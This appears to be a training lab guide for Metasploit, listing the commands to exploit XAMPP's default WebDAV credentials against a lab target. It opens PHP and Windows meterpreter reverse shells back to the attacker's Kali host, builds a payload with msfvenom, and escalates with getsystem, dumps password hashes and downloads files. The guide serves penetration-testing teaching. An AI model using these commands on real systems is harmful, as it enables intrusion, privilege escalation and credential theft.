

# METASPLOIT 101 LAB GUIDE

Target IP Addr: \_\_\_\_ . \_\_\_\_ . \_\_\_\_ . \_\_\_\_      Your Kali IP Addr: \_\_\_\_ . \_\_\_\_ . \_\_\_\_ . \_\_\_\_  
                  tt.tt.tt.tt                                  kk.kk.kk.kk

1. What is your Kali IP address:

```
root@kali:~# ifconfig
```

2. NMap scan of the target IP address:

```
root@kali:~# nmap -A --reason tt.tt.tt.tt
```

- ### 3. Start Metasploit Framework Console:

```
root@kali:~# msfconsole
```

- #### 4. Search for an XAMPP exploit:

```
msf > search xampp
```

5. Configure the Windows XAMPP default webdav credentials exploit to be sent to the target IP address (RHOST):

```
msf > use exploit/windows/http/xampp webdav upload php
```

```
msf exploit(xampp_webdav_upload_php) > options
```

```
msf exploit(xampp webdav upload php) > set RHOST tt.tt.tt.tt
```

6. Configure the payload to go with the exploit. Set the payload to the `php/meterpreter_reverse_tcp` that is compatible with the exploit we are using, enter your Kali IP address as the LHOST, and select an unused port to receive the reverse TCP session:

```
msf exploit(xampp webdav upload php) > set payload php/meterpreter reverse tcp
```

```
msf exploit(xampp webdav upload php) > set LHOST kk.kk.kk.kk
```

```
msf exploit(xampp webdav upload php) > set LPORT 30456
```

## ***METASPLOIT 101 LAB GUIDE***

7. Double check the exploit and payload configuration and then exploit:

```
msf exploit(xampp_webdav_upload_php) > options  
msf exploit(xampp_webdav_upload_php) > exploit
```

8. Getting familiar with meterpreter. List available commands, background the meterpreter session to return to msf, list current sessions, and then interact/reconnect with session #1:

```
meterpreter > ?  
meterpreter > background  
msf exploit(xampp_webdav_upload_php) > sessions -l  
msf exploit(xampp_webdav_upload_php) > sessions -i 1
```

9. Initial post-exploitation: Which user context are we operating within? What is the operating system version? Which version of meterpreter are we using? What is our current directory on the remote server? What files are there?

```
meterpreter > getuid  
meterpreter > sysinfo  
meterpreter > pwd  
meterpreter > ls
```

10. File viewing and pillaging from within meterpreter:

```
meterpreter > ls  
meterpreter > cat webdav.txt  
meterpreter > download index.html
```

## **METASPLOIT 101 LAB GUIDE**

11. Getting familiar with meterpreter post exploitation modules and scripts:

```
meterpreter > run post/windows/ ((double tap the TAB key ))
```

12. Msfvenom: create a Windows executable that will create a reverse TCP callback to our Kali IP address on a port we choose and establish a full meterpreter session.

*(( Open a new console/terminal tab, keeping your msfconsole session alive but giving you a new command prompt ))*

```
root@kali:~# msfvenom -a x86 --platform windows  
-p windows/meterpreter/reverse_tcp lhost=kk.kk.kk.kk  
lport=30456 -f exe -o /root/run_me2.exe
```

13. Upload our msfvenom file to the exploited server using our meterpreter session:

```
meterpreter > upload /root/run_me2.exe
```

14. Create a Metasploit listener configured for the port number we established in the msfvenom executable that will expect a request for a full Windows meterpreter:

```
meterpreter > background  
msf exploit(xampp_webdav_upload_php) > sessions -l  
msf exploit(xampp_webdav_upload_php) > use exploit/multi/handler  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
msf exploit(handler) > set lhost kk.kk.kk.kk  
msf exploit(handler) > set lport 30456  
msf exploit(handler) > set ExitOnSession false  
msf exploit(handler) > exploit -j
```

## **METASPLOIT 101 LAB GUIDE**

15. Back on the exploited server, use the PHP meterpreter session to execute the msfvenom file we uploaded earlier and catch the full meterpreter callback:

```
msf exploit(handler) > sessions -i 1  
meterpreter > execute -f c:\\xampp\\webdav\\run_me2.exe  
meterpreter > background  
msf exploit(handler) > sessions -l
```

16. Switch to the full meterpreter session and inspect the loaded modules:

```
msf exploit(handler) > sessions -i 2  
meterpreter > load -l
```

17. Full meterpreter post-exploitation: getsystem, getuid, hashdump, screenshot, ps, etc.

```
meterpreter > getuid  
meterpreter > getsystem  
meterpreter > getuid  
meterpreter > run post/windows/gather/hashdump  
meterpreter > screenshot  
meterpreter > ps  
meterpreter > ipconfig  
meterpreter > arp  
meterpreter > route  
meterpreter > run post/windows/ ((double tap the TAB key ))
```